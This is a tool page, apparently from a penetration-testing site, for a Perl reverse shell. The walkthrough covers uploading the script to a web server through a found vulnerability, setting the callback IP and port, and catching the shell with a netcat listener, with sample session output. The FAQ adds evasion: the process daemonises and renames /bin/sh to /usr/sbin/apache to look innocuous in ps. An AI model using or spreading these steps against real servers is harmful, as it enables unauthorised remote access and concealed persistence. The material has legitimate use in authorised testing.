perl-reverse-shell

This tool is designed for those situations during a pentest where you have upload access to a webserver that’s running PERL.  Upload this script to somewhere in the web root then run it by accessing the appropriate URL in your browser.  The script will open an outbound TCP connection from the webserver to a host and port of your choice.  Bound to this TCP connection will be a shell.

This will be a proper interactive shell in which you can run interective programs like telnet, ssh and su.  It differs from web form-based shell which allow you to send a single command, then return you the output.

Download

[perl-reverse-shell-1.0.tar.gz](http://pentestmonkey.net/tools/perl-reverse-shell/perl-reverse-shell-1.0.tar.gz)

MD51sum: 1b38db18c1b168573afb8eeabbd8157b  
SHA1sum: b2dfefd3d10f5fedd674a8651e5bdcb3b3289335

Walk Through

Modify the source

To prevent some else from abusing your backdoor – a nightmare scenario while pentesting – you need to modify the source code to indicate where you want the reverse shell thrown back to.  Edit the following lines of perl-reverse-shell.pl:

# Where to send the reverse shell.  Change these.

my $ip = '127.0.0.1';

my $port = 1234;

Get Ready to catch the reverse shell

Start a TCP listener on a host and port that will be accessible by the web server.  Use the same port here as you specified in the script (1234 in this example):

$ nc -v -n -l -p 1234

Upload and Run the script

Using whatever vulnerability you’ve discovered in the website, upload perl-reverse-shell.pl.  You’ll need to place it in a directory where PERL scripts can be run from (e.g. cgi-bin).  Run the script simply by browsing to the newly uploaded file in your web browser:

http://somesite/cgi-bin/perl-reverse-shell.pl

Enjoy your new shell

If all went well, the web server should have thrown back a shell to your netcat listener.  Some useful commans such as w, uname -a, id and pwd are run automatically for you:

$ nc -v -n -l -p 1234

listening on [any] 1234 ...

connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 58034

 16:35:52 up 39 days, 19:30,  2 users,  load average: 0.22, 0.20, 0.14

USER     TTY        LOGIN@   IDLE   JCPU   PCPU WHAT

root   :0        19May07 ?xdm?   5:07m  0.01s /bin/sh /usr/kde/3.5/bin/startk

Linux somehost 2.6.19-gentoo-r5 #1 SMP PREEMPT Sun Apr 1 16:49:38 BST 2007 x86\_64 AMD Athlon(tm) 64 X2 Dual Core Processor 4200+ AuthenticAMD GNU/Linux

uid=81(apache) gid=81(apache) groups=81(apache)

/

apache@somehost / $

FAQs

When is this useful?

Perhaps the only areas on disk that you have write access to are mounted with the “noexec” option.  Uploading a compiled program will be of no use in these situations.  You need to use an installed scripting language like Python, PERL, PHP, etc.  
Perhaps you just can’t be bothered to upload a second program.

Isn’t the shell connection just going to be severed when the web server times out the PERL script?

No.  It doesn’t seem to on the systems that I’ve tested it on (Gentoo Linux only so far).  Additionally the PERL script attempts to daemonise itself and dissociate from the parent process to avoid this.

Isn’t there going to be a rather suspicious looking shell process when the admin runs “ps”?

Kinda.  The number of processes has been minimised by using “exec” instead of “system”.  The “/bin/sh -i” process will be seen in the process listing but can be renamed.  By default /bin/sh will be renamed to /usr/sbin/apache, so the process listing looks like

apache    5289  0.0  0.0   2840  1464 ?        Ss   15:31   0:00 /usr/sbin/apache -i